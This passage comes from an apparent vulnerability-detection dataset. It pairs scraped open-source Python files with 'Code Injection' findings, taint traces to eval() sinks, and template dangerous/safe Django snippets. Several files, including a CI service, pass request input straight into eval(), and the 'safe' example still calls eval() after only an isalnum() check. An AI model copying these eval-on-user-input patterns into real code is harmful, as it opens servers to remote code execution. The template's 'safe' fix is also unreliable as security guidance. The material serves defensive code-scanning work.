eastHemiRectJson = repr({'type':'Polygon', 'coordinates':[eastHemiRectCoords]})\n westHemiRectCoords = [[-180, yMax], [-180, yMin], [xMaxNegative, yMin], \n [xMaxNegative, yMax], [-180, yMax]]\n westHemiRectJson = repr({'type':'Polygon', 'coordinates':[westHemiRectCoords]})\n eastHemiRect = ogr.CreateGeometryFromJson(eastHemiRectJson)\n westHemiRect = ogr.CreateGeometryFromJson(westHemiRectJson)\n\n geomProj = copyGeom(geom)\n geomProj.Transform(projTr)\n eastHemiRect.Transform(projTr)\n westHemiRect.Transform(projTr)\n\n eastHemiPart = geomProj.Intersection(eastHemiRect)\n westHemiPart = geomProj.Intersection(westHemiRect)\n eastHemiPart.Transform(llTr)\n westHemiPart.Transform(llTr)\n \n # Put these together as a single multipolygon\n eastPartCoords = getCoords(eastHemiPart)\n westPartCoords = getCoords(westHemiPart)\n # Discard any vertices which are still no the wrong side of the 180 line. I\n # do not understand what is going on here, but I have invested far more of \n # my valuable time than I should, and this kludge will be a reasonable approximation. \n eastPartCoords = eastPartCoords[eastPartCoords[:, 0] > 0, :]\n westPartCoords = westPartCoords[westPartCoords[:, 0] < 0, :]\n \n # Convert to lists\n eastPartCoords = eastPartCoords.tolist()\n westPartCoords = westPartCoords.tolist()\n # Discard anything left with only 2 points\n if len(eastPartCoords) < 3:\n eastPartCoords = []\n if len(westPartCoords) < 3:\n westPartCoords = []\n # Close polygons. What a kludge.....\n if len(eastPartCoords) > 2:\n if eastPartCoords[-1][0] != eastPartCoords[0][0] or eastPartCoords[-1][1] != eastPartCoords[0][1]:\n eastPartCoords.append(eastPartCoords[0])\n if len(westPartCoords) > 2:\n if westPartCoords[-1][0] != westPartCoords[0][0] or westPartCoords[-1][1] != westPartCoords[0][1]:\n westPartCoords.append(westPartCoords[0])\n \n # Make a multi-polygon from the two parts\n coordsMulti = [[eastPartCoords], [westPartCoords]]\n jsonStr = repr({'type':'MultiPolygon', 'coordinates':coordsMulti})\n newGeom = ogr.CreateGeometryFromJson(jsonStr)\n else:\n # It didn't really cross the date line, but seems to due to rounding\n # error in crossesDateline(). \n newGeom = copyGeom(geom)\n else:\n newGeom = copyGeom(geom)\n return newGeom", "dangerousExampleEn": "1. from django.shortcuts import render\n2. \n3. def route(request):\n4. \tmessage = request.POST.get('message', '')\n5. \n6. \tret = eval(message)\n7. \treturn render(request, '/success.html', {'data':ret})\nLine 6: eval() executes dynamic code, which can lead to code injection attacks.", "safeExampleEn": "1. from django.shortcuts import render\n2. \n3. def route(request):\n4. \tmessage = request.POST.get('message', '')\n5. \n6. \tif message.isalnum():\n7. \t\tret = eval(message)\n8. \t\treturn render(request, '/success.html', {'data':ret})\nLine 6: isalnum() validates that only alphanumeric characters are used, which is safe.", "contexts": [{"lineNo": 119, "eventType": "sink", "messageKey": "synz.COMMON.taint.sink", "params": {"arg0": "eval"}}]}} {"id": "36c4c8d2fbc10df5ba3993c8bc31fb2f329e1212e8e57fddfaefd84449affb66", "license": {"spdx": ["MIT"], "repo": "gzpyy/qlib", "path": "examples/my_model_test.py", "repo_head_hexsha": "56fdd028c8296c75f2a32bdb51869f010dd4f6d1", "stack_hexsha": "8ac2a36b9aed8734fe00d975f21caf0ecc7d8aef", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Code Injection", "issueDescriptionEn": "The security weakness allows an attacker to cause software to behave abnormally by injecting code to change the intended behaviour of the software. If you allow functions that take user input and execute dynamic code, you run the risk of allowing an attacker to execute code that was not intended by the developer, allowing them to take over privileges, bypass authentication, or execute system commands.\nFunctions that can lead to code injection attacks in Python include `eval()`, `exec()`, and others. If you don't validate the arguments of these functions, you can execute the code passed by the attacker.\nAvoid using functions that can execute dynamic code. If necessary, validate them against external input in a whitelist fashion to ensure that they do not accept executable dynamic code as input. Alternatively, filter user input values used in dynamic code to ensure that they contain only valid characters.", "issueLineNumber": 49, "entireCode": "#encoding=utf-8\nimport qlib\nimport pandas as pd\nimport pickle\nimport xgboost as xgb\nimport numpy as np\nimport re\nfrom qlib.constant import REG_US\nfrom qlib.utils import exists_qlib_data, init_instance_by_config\nfrom qlib.workflow import R\nfrom qlib.workflow.record_temp import SignalRecord, PortAnaRecord\nfrom qlib.utils import flatten_dict\nfrom qlib.data import LocalExpressionProvider\nfrom qlib.data.ops import Operators, OpsList\nfrom qlib.data.base import Feature\nfrom pyecharts import options as opts\nfrom pyecharts.charts import Kline, Line, Grid\nfrom my_data_handler import MyAlphaHandler\n\n# model_file = r'.\\mlruns\\1\\d6536b056ba84a74be6b33971f443cf6\\artifacts\\trained_model'\nmodel_file = r'.\\mlruns\\1\\148ef1cd7acd48deac3eadc339ad3008\\artifacts\\trained_model'\nwith open(model_file, 'rb') as fi:\n model = pickle.load(fi)\n\nexprs, columns = MyAlphaHandler.get_custom_config()\n\n\nraw_data = pd.read_csv('../stock_data/TSLA.csv', parse_dates=['time'])\nraw_data['data_time'] = raw_data['time'].dt.strftime(\"%Y-%m-%d %H:%M:00\")\nraw_data.set_index('time', inplace=True)\nraw_data[\"vwap\"] = np.nan\nraw_data.sort_index(inplace=True)\n# print(raw_data)\nclass MyFeature(Feature):\n def _load_internal(self, instrument, start_index, end_index, freq):\n print(\"load\", self._name, instrument, start_index, end_index, freq)\n return raw_data.loc[start_index:end_index][self._name]\nOperators.register(OpsList + [MyFeature])\n\ndef my_parse_field(field):\n if not isinstance(field, str):\n field = str(field)\n for pattern, new in [(r\"\\$(\\w+)\", rf'MyFeature(\"\\1\")'), (r\"(\\w+\\s*)\\(\", r\"Operators.\\1(\")]: # Features # Operators\n field = re.sub(pattern, new, field)\n return field\n\nobj = dict()\nfor field in exprs:\n expression = eval(my_parse_field(field))\n series = expression.load('TSLA', \"2022-01-02\", \"2022-02-28\", \"1min\")\n series = series.astype(np.float32)\n obj[field] = series\ndata = pd.DataFrame(obj)\ndata.columns = columns\n\nview_time_start = '2022-02-11'\nview_time_end = '2022-02-12'\n\npre_data = raw_data.loc[view_time_start:view_time_end].copy()\npred=model.model.predict(xgb.DMatrix(data.loc[view_time_start:view_time_end]))\npre_data['pred_score'] = pred\nrecords = pre_data.to_dict(\"records\")\n\ncash = 50000\nposition = {}\nhold_thresh = 5\nscore_thresh = 0.001\nx_axises, y_axises, mark_points, money = [], [], [], []\nfor record in records:\n x_axises.append(record['data_time'])\n y_axises.append([\n record['open'], record['close'], record['low'], record['high']\n ])\n if 'hold_cnt' in position:\n position['hold_cnt'] += 1\n if position and (record['open'] >= position['close'] * 1.01 or record['open'] < position['close'] * 0.995 or record['pred_score'] < -score_thresh or position['hold_cnt'] >= hold_thresh):\n cash += position['amount'] * record['open']\n position = {}\n #print(\"sell\")\n mark_points.append(opts.MarkPointItem(\n coord=[record['data_time'], record['high']],\n symbol='triangle', symbol_size=7, \n itemstyle_opts=opts.ItemStyleOpts(color=\"green\")\n ))\n elif record['pred_score'] > score_thresh and not position:\n position = dict(record)\n position['amount'] = int(cash / position['open'])\n cash -= position['amount'] * position['open']\n # buy\n #print(\"buy\")\n position['hold_cnt'] = 0\n mark_points.append(opts.MarkPointItem(\n coord=[record['data_time'], record['high']],\n symbol='arrow', symbol_size=7,\n itemstyle_opts=opts.ItemStyleOpts(color=\"yellow\")\n ))\n cur_money = cash\n if position:\n cur_money += position['amount'] * record['close']\n money.append(cur_money)\nif position:\n cash += position['amount'] * records[-1]['close']\nprint(\"cash:\", cash)\n\nkline_graph = (\n Kline()\n .add_xaxis(x_axises)\n .add_yaxis(\n \"kline\",\n y_axises, \n markpoint_opts=opts.MarkPointOpts(\n data=mark_points\n ),\n )\n .set_global_opts(\n xaxis_opts=opts.AxisOpts(is_scale=True),\n yaxis_opts=opts.AxisOpts(\n is_scale=True,\n splitarea_opts=opts.SplitAreaOpts(\n is_show=True, areastyle_opts=opts.AreaStyleOpts(opacity=1)\n ),\n ),\n title_opts=opts.TitleOpts(title=\"%s_%s\" % (view_time_start, view_time_end)),\n datazoom_opts=[opts.DataZoomOpts(type_=\"inside\", xaxis_index=[0, 1],)],\n )\n)\n\nkline_line = (\n Line()\n .add_xaxis(xaxis_data=x_axises)\n .add_yaxis(\n series_name=\"cur_money\",\n y_axis=money,\n is_smooth=True,\n linestyle_opts=opts.LineStyleOpts(opacity=0.5),\n label_opts=opts.LabelOpts(is_show=False),\n markline_opts=opts.MarkLineOpts(\n data=[opts.MarkLineItem(y=50000)]\n ),\n )\n .set_global_opts(\n xaxis_opts=opts.AxisOpts(\n type_=\"category\",\n grid_index=2,\n axislabel_opts=opts.LabelOpts(is_show=False), \n ),\n yaxis_opts=opts.AxisOpts(\n min_='dataMin'\n )\n )\n)\n\ngrid_chart = Grid(init_opts=opts.InitOpts(width='2000px', height='900px'))\ngrid_chart.add(\n kline_graph,\n grid_opts=opts.GridOpts(pos_left=\"3%\", pos_right=\"10%\", height=\"50%\"),\n)\ngrid_chart.add(\n kline_line,\n grid_opts=opts.GridOpts(\n pos_left=\"3%\", pos_right=\"10%\", pos_top=\"60%\", height=\"30%\"\n ),\n)\ngrid_chart.render(\"kline_markline.html\")", "dangerousExampleEn": "1. from django.shortcuts import render\n2. \n3. def route(request):\n4. \tmessage = request.POST.get('message', '')\n5. \n6. \tret = eval(message)\n7. \treturn render(request, '/success.html', {'data':ret})\nLine 6: eval() executes dynamic code, which can lead to code injection attacks.", "safeExampleEn": "1. from django.shortcuts import render\n2. \n3. def route(request):\n4. \tmessage = request.POST.get('message', '')\n5. \n6. \tif message.isalnum():\n7. \t\tret = eval(message)\n8. \t\treturn render(request, '/success.html', {'data':ret})\nLine 6: isalnum() validates that only alphanumeric characters are used, which is safe.", "contexts": [{"lineNo": 49, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "my_parse_field"}}, {"lineNo": 49, "eventType": "source", "messageKey": "synz.COMMON.value.returned.from", "params": {"arg0": "my_parse_field"}}, {"lineNo": 49, "eventType": "source", "messageKey": "synz.COMMON.value.returned.from", "params": {"arg0": "my_parse_field"}}, {"lineNo": 49, "eventType": "sink", "messageKey": "synz.COMMON.taint.sink", "params": {"arg0": "eval"}}]}} {"id": "7d29301516c39eb18034e7b47f94e6eb879f77614bb7da4feb538c6160ce0d5a", "license": {"spdx": ["Apache-2.0"], "repo": "zhangyin2088/Teamcat", "path": "teamcat_service/doraemon/business/ci/ci_task_service.py", "repo_head_hexsha": "be9be8d7c1e58c8d2d22ab78d25783d9aee4de71", "stack_hexsha": "b54b9dde2d40726a4fdd546ac94c89399d94075f", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Code Injection", "issueDescriptionEn": "The security weakness allows an attacker to cause software to behave abnormally by injecting code to change the intended behaviour of the software. If you allow functions that take user input and execute dynamic code, you run the risk of allowing an attacker to execute code that was not intended by the developer, allowing them to take over privileges, bypass authentication, or execute system commands.\nFunctions that can lead to code injection attacks in Python include `eval()`, `exec()`, and others. If you don't validate the arguments of these functions, you can execute the code passed by the attacker.\nAvoid using functions that can execute dynamic code. If necessary, validate them against external input in a whitelist fashion to ensure that they do not accept executable dynamic code as input. Alternatively, filter user input values used in dynamic code to ensure that they contain only valid characters.", "issueLineNumber": 118, "entireCode": "#coding=utf-8\n'''\nCreated on 2015-10-23\n\n@author: Devuser\n'''\nfrom doraemon.ci.models import CITask,CITaskHistory\nfrom gatesidelib.common.simplelogger import SimpleLogger\nfrom django.contrib.admin.models import DELETION,CHANGE,ADDITION\nfrom doraemon.project.models import Product,Project,Tag\nfrom business.project.project_service import ProjectService\nfrom business.project.version_service import VersionService\nfrom business.ci.ci_task_parameter_service import CITaskParameterService\nfrom business.ci.ci_task_config_service import CITaskConfigService\nfrom business.ci.ci_task_history_service import CITaskHistoryService\nfrom business.business_service import BusinessService\nfrom business.common.redis_service import RedisService\nfrom business.common.mongodb_service import MongoDBService\nfrom doraemon.api.ci.mongo_models import PackgeMongoFile\nfrom doraemon.home.models import TaskQueue\nfrom gatesidelib.datetimehelper import DateTimeHelper\nfrom business.common.system_config_service import SystemConfigService\nfrom doraemon.ci.datamodels.task_queue_command_enum import TaskQueueCommandTypeEnum\nfrom doraemon.ci.datamodels.task_queue_status_enum import TaskQueueStatusEnum\nimport uuid\nfrom business.common.file_info_service import FileInfoService\n\n\nclass CITaskService(BusinessService):\n '''\n classdocs\n '''\n \n \n \n @staticmethod\n def get_products_include_me(request):\n my_projects=ProjectService.get_projects_include_me(request)\n prodcut_ids=list()\n for project in my_projects:\n if project.Product not in prodcut_ids:\n prodcut_ids.append(project.Product)\n return Product.objects.all().filter(id__in=prodcut_ids)\n \n \n @staticmethod\n def get_ci_tasks_recently_build(request,task_type,product_id):\n result = list()\n try:\n result=CITaskService.get_product_ci_tasks(request, task_type, product_id).filter(LastHistory__exclude=(0,))\n except Exception as ex:\n SimpleLogger.exception(ex)\n return result\n \n @staticmethod\n def get_my_ci_tasks(request,task_type,product_id):\n prodcut_tasks=CITaskService.get_product_ci_tasks(request,task_type,product_id)\n return prodcut_tasks\n @staticmethod\n def get_latest_history(task_id):\n result=None\n historys=CITaskHistory.objects.all().filter(CITaskID=task_id).order_by('-id')\n if historys:\n result=historys[0]\n return result\n \n @staticmethod\n def get_product_ci_tasks(request,task_type,product_id):\n result = list()\n try:\n my_projects=ProjectService.get_projects_include_me(request)\n my_project_ids=[project.id for project in my_projects]\n if product_id.upper()==\"ALL\":\n if task_type!=0:\n result=CITask.objects.all().filter(TaskType=task_type).filter(Project__in=my_project_ids).order_by('-LastHistory')\n else:\n result=CITask.objects.all().filter(Project__in=my_project_ids).order_by('-LastHistory')\n else:\n product_projects=Project.objects.all().filter(Product=int(product_id)).filter(id__in=my_project_ids)\n result=CITask.objects.all().filter(Project__in=product_projects).filter(TaskType=task_type).order_by('-LastHistory')\n except Exception as ex:\n SimpleLogger.error(ex)\n return result\n \n @staticmethod\n def search_tasks(request):\n result=list()\n keyword=request.POST.get('keyword','all') #get search keyword\n task_type=int(request.POST.get('task_type',0)) #get task type\n product_id=request.POST.get('product_id','all') # get product type\n \n # all my tasks include the built task recently and the tasks belong to product\n built_tasks=CITaskService.get_ci_tasks_recently_build(request,task_type,product_id)\n product_tasks=CITaskService.get_product_ci_tasks(request,task_type,product_id)\n \n # if keyword is all,then return all my tasks\n # else filter with keyword and return the rest tasks\n if keyword.upper() =='ALL':\n result.extend(built_tasks)\n for task in product_tasks:\n if task not in result:\n result.append(task)\n else:\n built_tasks=[task for task in built_tasks if keyword.upper() in task.TaskName.upper()]\n product_task=product_tasks.filter(TaskName__icontains=keyword)\n result.extend(built_tasks)\n for task in product_task:\n if task not in result:\n result.append(task)\n return result\n \n @staticmethod\n def filter_tasks(request):\n result=CITaskService.search_tasks(request)\n project_ids=request.POST.get('project_id')\n tag_ids=request.POST.get('tag_id')\n if project_ids!=\"\":\n result=[task for task in result if task.Project in eval(project_ids)]\n match_tag_task=list()\n if tag_ids!=\"\":\n for task in result:\n for tag in eval(tag_ids):\n if task.Tags and tag in eval(task.Tags):\n match_tag_task.append(task)\n break;\n result=match_tag_task \n return result\n \n \n \n \n \n \n @staticmethod\n def create_ci_task(validate_data,user):\n task_type=int(validate_data.get('TaskType'))\n ci_task=CITask()\n if task_type:\n ci_task=CITask()\n ci_task=CITaskService.init_ci_task(validate_data, ci_task)\n ci_task.IsActive=1\n ci_task.Creator=user.id\n ci_task.TaskConfig=CITaskConfigService.create_config()\n ci_task.save()\n else:\n ci_task=CITaskService.copy_ci_task(validate_data,user)\n CITaskService.log_create_activity(user, ci_task)\n return ci_task\n \n \n \n @staticmethod\n def save_task_config(request,ci_taskid):\n ci_task=CITask.objects.get(int(ci_taskid))\n CITaskConfigService.save_task_config(request, ci_task)\n CITaskService.log_change_activity(request.user, ci_task)\n \n \n \n @staticmethod\n def copy_ci_task(validate_data,user):\n task_id=int(validate_data.get('CopyTaskID'))\n ci_task=CITask.objects.get(int(task_id))\n ci_task.TaskName=validate_data.get('TaskName')\n ci_task.Project=validate_data.get('Project')\n ci_task.BuildVersion=0\n ci_task.id=None\n ci_task.Creator=user.id\n ci_task.save()\n new_config=CITaskConfigService.copy_config(ci_task.TaskConfig,ci_task.id,ci_task.TaskName)\n ci_task.TaskConfig=new_config\n ci_task.save()\n CITaskParameterService.copy_parameter_group_form_task(task_id,ci_task.id)\n CITaskService.log_create_activity(user, ci_task)\n return ci_task\n \n \n @staticmethod\n def delete_ci_task(request,task_id):\n ci_task=CITask.objects.get(int(task_id))\n CITaskConfigService.delete_config(ci_task.TaskConfig)\n CITaskHistoryService.clean_all_history(task_id,True)\n ci_task.IsActive=0\n ci_task.save()\n CITaskService.log_delete_activity(request.user, ci_task)\n \n @staticmethod\n def clean_task_history(request,task_id):\n ci_task=CITask.objects.get(int(task_id))\n CITaskHistoryService.clean_all_history(task_id,False)\n CITaskService.log_clean_activity(request.user, ci_task)\n \n \n @staticmethod\n def start_ci_task(request,task_id,parameter_group_id,project_version):\n ci_task=CITask.objects.get(int(task_id))\n queuetask=TaskQueue()\n queuetask.EnqueueTime=DateTimeHelper.get_local_now()\n queuetask.TaskType=ci_task.TaskType\n queuetask.Command=TaskQueueCommandTypeEnum.TaskQueueCommandType_Start\n queuetask.Priority=2\n queuetask.Status =TaskQueueStatusEnum.QueueTaskStatus_New\n queuetask.TaskID=int(task_id)\n queuetask.TaskUUID=uuid.uuid1()\n if parameter_group_id:\n queuetask.BuildParameterID=parameter_group_id\n else:\n queuetask.BuildParameterID=CITaskParameterService.default_parameter_group(int(task_id))\n queuetask.save()\n ci_task.BuildVersion=ci_task.BuildVersion+1\n if str(project_version) == '0':\n project_version = VersionService.get_latest_version(ci_task.Project)\n if project_version:\n project_version = project_version.id\n else:\n project_version = 0\n ci_task.LastHistory = CITaskService.save_ci_taskhistory(request,queuetask,ci_task,project_version)\n ci_task.save(update_fields=['BuildVersion','LastHistory'])\n message=\"任务ID为:\"+str(task_id)+\"的执行指令已经下发,请耐心等待。\"\n user_id=0\n if request.user.id:\n user_id=request.user.id\n CITaskService.log_build_activity(user_id, ci_task)\n CITaskService.send_task_enqueue_message()\n return [queuetask.id,message,queuetask.TaskUUID]\n \n @staticmethod\n def save_ci_taskhistory(request,task_queue,ci_task,project_version):\n if not project_version:\n project_latest_version=CITaskService.get_project_latest_version(ci_task.Project)\n else:\n project_latest_version=int(project_version)\n task_history=CITaskHistory()\n task_history.CITaskID=ci_task.id\n task_history.TaskUUID = task_queue.TaskUUID\n task_history.TaskQueueID=task_queue.id\n task_history.IsActive=1\n task_history.BuildStatus=0\n if request.user.id!=None:\n task_history.StartedBy=request.user.id\n else:\n task_history.StartedBy=0\n task_history.BuildVersion=ci_task.BuildVersion\n task_history.ProjectVersion=project_latest_version\n task_history.BuildParameterID=task_queue.BuildParameterID\n task_history.save()\n return task_history.id\n\n\n @staticmethod\n def update_ci_taskhistory(tq_id,file_id,file_type):\n task_history=CITaskHistory.objects.get_by_tqid(tq_id)\n if file_type=='1':\n if task_history.PackageID:\n task_history.PackageID=task_history.PackageID+str(file_id)+','\n else:\n task_history.PackageID=str(file_id)+','\n if file_type=='2':\n if task_history.LogFileID:\n task_history.LogFileID=task_history.LogFileID+str(file_id)+','\n else:\n task_history.LogFileID=str(file_id)+','\n task_history.save()\n\n \n @staticmethod\n def stop_ci_task(request,task_id):\n command_type=TaskQueueCommandTypeEnum.TaskQueueCommandType_Stop\n tq_uuid=request.GET.get(\"TaskUUID\",\"\")\n tq_tasks = TaskQueue.objects.all().filter(TaskUUID=tq_uuid).filter(Command=command_type)\n if not tq_tasks.exists():\n ci_task=CITask.objects.get(int(task_id))\n queuetask=TaskQueue()\n queuetask.EnqueueTime=DateTimeHelper.get_local_now()\n queuetask.TaskType=ci_task.TaskType\n queuetask.Command=command_type\n queuetask.Priority=7\n queuetask.Status =TaskQueueStatusEnum.QueueTaskStatus_New\n queuetask.TaskID=int(task_id)\n queuetask.TaskUUID=tq_uuid\n queuetask.save()\n else:\n queuetask = tq_tasks[0]\n\n message=\"任务ID为:\"+str(task_id)+\"的取消执行指令已经下发,请耐心等待。\"\n CITaskService.send_task_enqueue_message()\n return [queuetask.id,message,queuetask.TaskUUID]\n\n\n @staticmethod\n def send_task_enqueue_message():\n RedisService.websocket_publish_message(\"TASKSTATUSCHANGE\",'Task enqueue now!')\n \n\n @staticmethod\n def init_ci_task(formdata,ci_task):\n tmp_ci_task=ci_task\n tmp_ci_task.TaskName=formdata.get('TaskName')\n tmp_ci_task.Project=formdata.get('Project')\n tmp_ci_task.TaskType=formdata.get('TaskType')\n historyCleanStrategy=formdata.get('HistoryCleanStrategy',5)\n if historyCleanStrategy==\"\":\n historyCleanStrategy=5\n tmp_ci_task.HistoryCleanStrategy=historyCleanStrategy\n tmp_ci_task.Schedule=formdata.get('time_trigger',\"\")\n if int(tmp_ci_task.TaskType)==3:\n tmp_ci_task.DeployService=formdata.get('DeployService',0)\n tmp_ci_task.Description=formdata.get('Description',\"\")\n return tmp_ci_task\n \n \n \n @staticmethod\n def upload_package(request):\n result=0\n tq_id=request.POST.get('tq_id','')\n file_type=request.POST.get('file_type','')\n upload_file=request.FILES['upload_file']\n max_file_size=SystemConfigService.get_upload_file_maxsize()\n file_wihte_list=SystemConfigService.get_file_type_white_list()\n if CITaskService.validate_upload_file(upload_file,max_file_size,file_wihte_list):\n mongo_fileid=MongoDBService.save_file(upload_file,PackgeMongoFile)\n result=FileInfoService.add_file(0,mongo_fileid, upload_file.name,1,0,upload_file.size)\n CITaskService.update_ci_taskhistory(tq_id,result,file_type)\n return result\n \n @staticmethod\n def download_package(request,file_path):\n return PackgeMongoFile.objects.get(file_path)\n\n \n @staticmethod\n def update_property(request,taskid):\n task=CITask.objects.get(taskid)\n task.Tags=request.POST.get(\"Tags\")\n update_fields=list()\n for field in request.POST:\n update_fields.append(field)\n task.save(update_fields=update_fields)\n CITaskService.log_change_activity(request.user,task)\n \n @staticmethod\n def get_avalible_menu_tags(menu_type):\n '''\n menu_type: 1: ci_task,2:task_history,3:agent\n '''\n tag_types=[1]\n if str(menu_type)==\"1\":\n tag_types=[1,4]\n \n if str(menu_type)==\"2\":\n tag_types=[2]\n \n if str(menu_type)==\"3\":\n tag_types=[3]\n \n if str(menu_type)==\"4\":\n tag_types=[4]\n return Tag.objects.all().filter(TagType__in=tag_types)\n \n @staticmethod\n def get_agent_filter__tags():\n return Tag.objects.all().filter(TagType__in=[3])\n \n \n \n\n @staticmethod\n def log_create_activity(user,ci_task):\n CITask.objects.log_action(user.id,ci_task.id,ci_task.TaskName,ADDITION,\"创建了CI任务\",ci_task.Project,CITaskService.ActionLogType.CI)\n \n @staticmethod\n def log_delete_activity(user,ci_task):\n CITask.objects.log_action(user.id,ci_task.id,ci_task.TaskName,DELETION,\"删除了CI任务\",ci_task.Project,CITaskService.ActionLogType.CI)\n \n @staticmethod\n def log_clean_activity(user,ci_task):\n CITask.objects.log_action(user.id,ci_task.id,ci_task.TaskName,DELETION,\"删除了历史记录\",ci_task.Project,CITaskService.ActionLogType.CI)\n \n \n @staticmethod\n def log_change_activity(user,ci_task):\n CITask.objects.log_action(user.id,ci_task.id,ci_task.TaskName,CHANGE,\"修改了CI任务\",ci_task.Project,CITaskService.ActionLogType.CI)\n \n @staticmethod\n def log_build_activity(user_id,ci_task):\n CITask.objects.log_action(user_id,ci_task.id,ci_task.TaskName,CHANGE,\"构建了CI任务\",ci_task.Project,CITaskService.ActionLogType.CI)\n \n \n \n ", "dangerousExampleEn": "1. from django.shortcuts import render\n2. \n3. def route(request):\n4. \tmessage = request.POST.get('message', '')\n5. \n6. \tret = eval(message)\n7. \treturn render(request, '/success.html', {'data':ret})\nLine 6: eval() executes dynamic code, which can lead to code injection attacks.", "safeExampleEn": "1. from django.shortcuts import render\n2. \n3. def route(request):\n4. \tmessage = request.POST.get('message', '')\n5. \n6. \tif message.isalnum():\n7. \t\tret = eval(message)\n8. \t\treturn render(request, '/success.html', {'data':ret})\nLine 6: isalnum() validates that only alphanumeric characters are used, which is safe.", "contexts": [{"lineNo": 115, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "request"}}, {"lineNo": 115, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "requestrequest.POST"}}, {"lineNo": 115, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "get"}}, {"lineNo": 115, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 117, "eventType": "source", "messageKey": "synz.COMMON.branch.true.assumed", "params": {"arg0": "117"}}, {"lineNo": 118, "eventType": "sink", "messageKey": "synz.COMMON.taint.sink", "params": {"arg0": "eval"}}]}} {"id": "5e20c2b6417f0931a50211e1cf00fb5918e6faa7bb799326747c892def3bfcb2", "license": {"spdx": ["BSD-3-Clause"], "repo": "uptane/uptane_web_app", "path": "applications/UPTANE/controllers/default.py", "repo_head_hexsha": "2b28ed84304d75e5d00214d03fee647bbf3b7ef2", "stack_hexsha": "c212c6fec36c71cc0ed935950abe027403f8daf9", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Code Injection", "issueDescriptionEn": "The security weakness allows an attacker to cause software to behave abnormally by injecting code to change the intended behaviour of the software. If you allow functions that take user input and execute dynamic code, you run the risk of allowing an attacker to execute code that was not intended by the developer, allowing them to take over privileges, bypass authentication, or execute system commands.\nFunctions that can lead to code injection attacks in Python include `eval()`, `exec()`, and others. If you don't validate the arguments of these functions, you can execute the code passed by the attacker.\nAvoid using functions that can execute dynamic code. If necessary, validate them against external input in a whitelist fashion to ensure that they do not accept executable dynamic code as input. Alternatively, filter user input values used in dynamic code to ensure that they contain only valid characters.", "issueLineNumber": 509, "entireCode": "# -*- coding: utf-8 -*-\n# this file is released under public domain and you can use without limitations\n\n# -------------------------------------------------------------------------\n# This is the main controller\n# - index is the default action of any application\n# - user is required for authentication and authorization\n# - download is for downloading files uploaded in the db (does streaming)\n# -------------------------------------------------------------------------\nfrom web2py import gluon\nfrom applications.UPTANE.modules.test_external import create_meta\nfrom collections import OrderedDict\nimport datetime\nimport demo\nimport os\nimport re\nimport xmlrpc.client\n\n\n@auth.requires_login()\ndef index():\n \"\"\"\n example action using the internationalization operator T and flash\n rendered by views/default/index.html or views/generic.html\n\n if you need a simple wiki simply replace the two lines below with:\n return auth.wiki()\n \"\"\"\n user = auth.user.username\n # if OEM1\n if user == 'oem1':\n return database_contents()\n # if OEM2\n if user == 'oem2':\n return database_contents()\n # if Supplier 1\n if user == 'supplier1':\n return dict(form=update_form(), db_contents=database_contents())\n # if Supplier 2\n if user == 'supplier2':\n return dict(form=update_form(), db_contents=database_contents())\n else:\n return dict(message=T('Hello unknown user..'))\n\n@auth.requires_login()\ndef hacked():\n return database_contents()\n\n@auth.requires_login()\ndef hacked_repo():\n return dict(form=update_form(), db_contents=database_contents())\n\n\ndef user():\n \"\"\"\n exposes:\n http://..../[app]/default/user/login\n http://..../[app]/default/user/logout\n http://..../[app]/default/user/register\n http://..../[app]/default/user/profile\n http://..../[app]/default/user/retrieve_password\n http://..../[app]/default/user/change_password\n http://..../[app]/default/user/bulk_register\n use @auth.requires_login()\n @auth.requires_membership('group name')\n @auth.requires_permission('read','table name',record_id)\n to decorate functions that need access control\n also notice there is http://..../[app]/appadmin/manage/auth to allow administrator to manage users\n \"\"\"\n return dict(form=auth())\n\n\n@cache.action()\ndef download():\n \"\"\"\n allows downloading of uploaded files\n http://..../[app]/default/download/[filename]\n \"\"\"\n return response.download(request, db)\n\n\ndef determine_available_updates():\n available_update_list = []\n vehicles = db(db.vehicle_db.oem == auth.user.username).select()\n #print('vehicles:\\t {0}'.format(vehicles))\n # Retrieve a list of vehicles associated w/ OEM\n if vehicles:\n for v in vehicles:\n #print('\\nv:\\t{0}'.format(v))\n # Iterate through ECUs for each vehicle to determine if a newer one exists\n for e in v.ecu_list:\n try:\n #print('\\ne:\\t{0}'.format(e))\n # Retrieve the ecu based off the id\n ecu = db(db.ecu_db.id == e).select().first()\n #print('\\necu:\\t{0}'.format(ecu))\n # Retrieve the type from the ecu object\n if ecu:\n ecu_type = ecu.ecu_type\n #print('\\necu_type:\\t{0}'.format(ecu_type))\n # Query the database for updates for ecu_type and select the last one (i.e., most recent update)\n ecu_type_updates = db(db.ecu_db.ecu_type == ecu_type).select().last()\n # If the last update for this ecu_type id is > ecu.id then there's a newer update available\n # so append the vehicle id to the available update list and break\n if ecu_type_updates.id > e:\n available_update_list.append(v.id)\n break\n else:\n continue\n except Exception as e:\n print('Unable to determine the available updates due to this error: {0}'.format(e))\n #print(available_update_list)\n return available_update_list\n\ndef call():\n \"\"\"\n exposes services. for example:\n http://..../[app]/default/call/jsonrpc\n decorate with @services.jsonrpc the functions to expose\n supports xml, json, xmlrpc, jsonrpc, amfrpc, rss, csv\n \"\"\"\n return service()\n\n@auth.requires_login()\ndef all_records():\n print('ALL RECORDS BABY!!!')\n grid = SQLFORM.grid(db.ecu_db.supplier_name==auth.user.username,user_signature=False, csv=False)\n return locals()\n\n\n@auth.requires_login()\ndef update_form():\n ''' This is the form the Supplier will see at the top of the screen that allows them to upload a new firmware image\n :return: the form that will be utilized by the user\n '''\n\n imagerepo = xmlrpc.client.ServerProxy('http://' + str(demo.IMAGE_REPO_SERVICE_HOST) +\n ':' + str(demo.IMAGE_REPO_SERVICE_PORT))\n\n\n #print(request.args)\n record = db.ecu_db(request.args(1))\n #print(record)\n form=SQLFORM(db.ecu_db)#, record)\n\n if form.validate():\n # Adding the update to the Image (Supplier) Repo\n cwd = os.getcwd()\n update_image = form.vars.update_image\n\n # After getting the file image name, convert the name of the file from hex to ascii\n # and use this value to populate the 